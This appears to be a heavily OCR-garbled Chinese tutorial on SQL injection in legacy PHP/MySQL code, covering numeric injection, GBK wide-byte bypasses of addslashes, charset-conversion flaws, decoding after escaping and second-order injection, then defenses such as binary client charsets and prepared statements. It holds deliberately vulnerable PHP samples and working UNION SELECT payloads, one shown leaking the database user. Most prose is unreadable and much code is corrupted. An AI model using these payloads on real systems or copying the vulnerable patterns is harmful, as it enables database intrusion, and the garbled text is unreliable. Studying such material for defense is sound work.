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<?php
$con = mysql_connect("localhost","root","root");
if (!$con){die('could not connect: ' . mysql_error());}

mysql_select_db("test", $con);

$id = stripcslashes($_REQUEST[ 'id' 1);

$query = "SELECT * FROM users WHERE id = $id ";

$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>");
while($row = mysql_fetch_array($result))

{

echo $row['0'] . " " . S$row['1l'];
echo "<br />";

}

echo "<br/>";

echo $query;
mysql_close($con);
?>

MRiES) : id=1 UNION SELECT user(),2,3,4 from users
e ety = O
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A. MYSQLAMIZE=ZFRAEN
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<?php

$con = mysql_connect("localhost","root","root");

mysql_query("SET NAMES 'gbk'");

mysql_select_db("test", $con);

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

$query = "SELECT * FROM users WHERE id ='{$id}' ";

$result = mysql_query($query)or die('<pre>'.mysql_error()."'</pre>"');
while($row = mysql_fetch_array($result))

{

echo $row['0'] . " " . $row['1l'];
echo "<br />";

h

echo "<br/>";

echo $query;
mysql_close($con);
?>

MEIES : %df%27


af://n2
af://n6

mysqlB4FtE | BAgbkZ2EZF R , MANFHAR—NXTF , Fbl%dFfEEAVEHE %S T —1MNX
tRiEgbkimi , F— P FTiascilB AT 128 , EAREHMALLT. LLanifiIAR%df , A%altEaILA,
gb23124RIEHIIEEE. BREMCEERXA1~0xF7 , (RASEERO0XA1~0XFE , TIVEOX5c , BAERASEEHAT.

FLA , OXSCHRAAZghb2312R%wAE3 , FTUAASIEMEFEN. ¥ REIEF CAESF RS , RERMISEE
REBEOXSCHImED , BRI LA TEFREN.

BFHEANDES :

73— : I8EPhpi&EEmysqIRI=FfFE
mysql_set_charset('gbk’,$conn);

$id =mysql_real_escape_string($_GET['id']);

J5E : Hcharacter_set_clientiZ&9binary ( Zi##l )

mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",
$conn);

SET WAMES ° gbk’
SET character_set_commection=ghbk, character_set_results=ghk, character_set_client=binary

SELECT # FEOM users WHERE 1d ¥ 'xDFY |union select 1,2, 3.4 #

¥&character_set_clientiZ&Rbinary , AFERFIHEZFHNAR T , FrEERUAZHEINF A ES | MeEBK
BREFRIEN.

B. PHP 4mfgitia
HRES

<?php

$con = mysqgl_connect("localhost","root","root");

mysql_query("SET NAMES 'gbk'");

mysql_select_db("test", $con);

mysql_query("SET character_set_connection=gbk,
character_set_results=gbk,character_set_client=binary", $con);

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id=iconv('utf-8"', "'gbk',$id);

$query = "SELECT * FROM users WHERE id ='{$id}' ";

$result = mysql_query($query)or die('<pre>'.mysql_error()."'</pre>"');

while($row = mysql_fetch_array($result))

{

echo $row['0'] . " " . $row['1l'];
echo "<br />";

3

echo "<br/>";
echo $query;

mysql_close($con);

?>



WiiEa « 88
IRIXNNE | BRIUt-8RIBE%e9%8c%a6 , BAIgbkIRAZE%e5%5¢

$EMiconvhutf-8iEHRBkgbkfT , ZRK T %e5%5c¢ , MiamEiY#EaddslashesZERl T %5c%27 |, iXHFAEFEH,
2%e5%5c%5c%27 , PN%S5CHRE) , IEFERFHTIEENT |, SHLEHES S |, FFEiFA.

$id=iconv('gbk’,'utf-8',$id); //{EFE%df%2 73N,

— N gbkiXF2F T | utf-8iRF3F T , ANRFAHEgbkEEMUt-8 , MphpSEMPNFH—i%Hk. ALl , WIRVAIE
HNFRFREEHRNE , BUSFE\ , WHRS.

HAthEREY :
mb_convert_encoding($id,'utf-8','gbk") //GBK To UTF-85 iconv('gbk’,'utf-8',$id)—#£
SEVNE

PHP=ARIBEsRIERS, http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

FATAEEITPIERRIEMASQLEAN http://www.freebuf.com/articles/web/31537.html

0x03 4Rh3ET

H— LD AR IR BRSSP, |, @urldecode() . rawurldecode(). base64 decode()

<?php

$con = mysqgl_connect("localhost","root","root");
mysql_select_db("test", $con);

$id addsTashes($_REQUEST['id']);

$id urldecode($id);//$id = base64_decode($id);

$query = "SELECT * FROM users WHERE id = '{$id}'";

$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>");

while($row = mysqgl_fetch_array($result))
{
echo $row['0'] . " " . $row['1l'];
echo "<br />";

}
echo "<br/>";
echo $query;
mysql_close($con);
?>
MiiEe
1'union select 1,2,3,4%23 E25|SUrlencode 1%2527union select 1,2,3,4%23

T'union select 1,2,3,4# Base64 Encode MSd1bmlvbiBzZWxIY3QgMSwyLDMsNCM=
0x04 —iRiEN

NEGEENRHAEK , Tlhack EEHENEhack' , MNRHHEZEISQLED , AISINT B | SASRIEFR |,
SEEN.


http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://www.freebuf.com/articles/web/31537.html
af://n36
af://n42

R
CREATE TABLE test (user VARCHAR(20) NOT NULL) ;

INSERT INTO test values(‘hack");

IS

/ /A EHE

create table test(

id INT NOT NULL,

user VARCHAR(100) NOT NULL,

pass VARCHAR(100) NOT NULL

)

INSERT INTO test values(l, 'hack', "hack');

/ /A
<?php
$con = mysql_connect("localhost","root","root");
mysql_select_db("test", $con);
mysql_query("SET character_set_connection=gbk,
character_set_results=gbk,character_set_client=binary", $con);
//update NJEE
if (isset($_GET['key'])){
$key=addslashes($_REQUEST[ 'key']);
$query ="update test set user='{$key}' where id=1";
echo "INSERT sSQL: ".$query."<br/>";
$result = mysql_query($query);

}
//select HEE , HEAEH
$query = "SELECT * FROM test WHERE id = 1";

$result = mysql_query($query);

$row = mysql_fetch_row($result);

echo "<br/>";

$query = "SELECT * FROM test WHERE user = '{$row[1]}'";
print_r('SELECT sQL: '.$query.'<br/>");

$result = mysql_query($query)or die('<pre>'.mysql_error()."'</pre>');;
echo "<br/>";

print_r(mysql_fetch_row($result));

mysql_close($con);

7>
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& Load URL | http://localhost/test].php?key=22"union select 1,2 USER{)%23
1 split URL

3 Execute /

[] Enable Post data [ | Enable Referrer

INSERT SQL: update test set user="22\'union gelect 1,2,USER()#" where id="1

SELECT SQL: SELECT * FROM test WHERE giser = '22'union select 1,2, USER()#'

Array ( [0] == 1 [1] => 2 [2] => root@localhost )

0x05 2BHiIFE R

. str_replacefRE SIEHE5 | S5 |, AIRGEREN ;
2. stripslashes() ERZHIFRE addslashes() BREGRINBIRFEHT. stripslashesEREUFRAS , AIBEERLEN ;

OIEAREId=TXMBRISHH T2 TMGPCRITNE | QIEARBIREXIR , BPAXEREN T value , 3¢
keyROILIERUIR BRI . @BIMREBRILIERILISIEGET, POSTHICOOKIE , BRiRiSIESERVER,

@FILESIEN , éﬁ\%xﬁ&ﬁrmﬂg%%mﬁﬁ B/ TFILES ; @%F , fEPEEREY : extract().

parse_str(). $
0x06 ;fRikFBpIA
EARRBEE : N (FRREFESEN ) - B NAME (RRFAENEN ) - B (FRREURER )

. MERANESIERSEBATEAEIERII. PHP BRETLBTRERAIIRE , N ERAIZERIFIFRTE
il:léﬁl(tb!ll] is_numeric() , ctype_digit() ) EISZRAY Perl FREIENFRIANREE AT LISTHIX MR, WREFFT
MAN—NF |, JLAEBGER is_numeric() SRIQE , BB EIZ(ER settype() REGIRERIZEEL , tBAJLAA sprintf() 8
BRI,

2. PHPRIEFN A

Addslashes() http://php.net/manual/zh/function.addslashes.php

magic_quote_gpc http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc

mysql_real_escape_string() http://php.net/manual/zh/function.mysql-real-escape-string.php

mysql_escape_string() http://php.net/manual/zh/function.mysql-escape-string.php
3. BIEEREERIMENTS
Bphp.ini3Z{&display_errors = Off
HEEENRERIEII— N OFF
RAATFLSQLUENKEAIBAHISTT | MRS AR TEIREFERS
(e EANT

<?php
$mysqli = new MysQLi("Tocalhost","root","root","test");


af://n52
af://n57
http://php.net/manual/zh/function.addslashes.php
http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc
http://php.net/manual/zh/function.mysql-real-escape-string.php
http://php.net/manual/zh/function.mysql-escape-string.php

ifC( $mysqli){
die($mysqli->error);
3
$sq1 = "select id,username,password from users where id=?";////BlE— NRENENSE ?5(1
$mysqli_stmt = $mysqli->prepare($sql);
$id=$_REQUEST['id'];
$mysqli_stmt->bind_param("i",$id);////48ES%]
$mysqli_stmt->bind_result($id, $Susername, $password) ;/// /G ELERE
$mysqli_stmt->execute();//HT
while($mysqli_stmt->fetch()){ //ENHESEIERE

echo $id." ".$username ." ". $password;
3

echo '"<br/>";

echo $sql;

$mysqli_stmt->free_result(); ////FHAERE
$mysqli_stmt->close();

$mysqgli->close();

?>

MNERRSEMAHNNARRS L, WBSMARREHARS —4EBXE— T3 , BRI,
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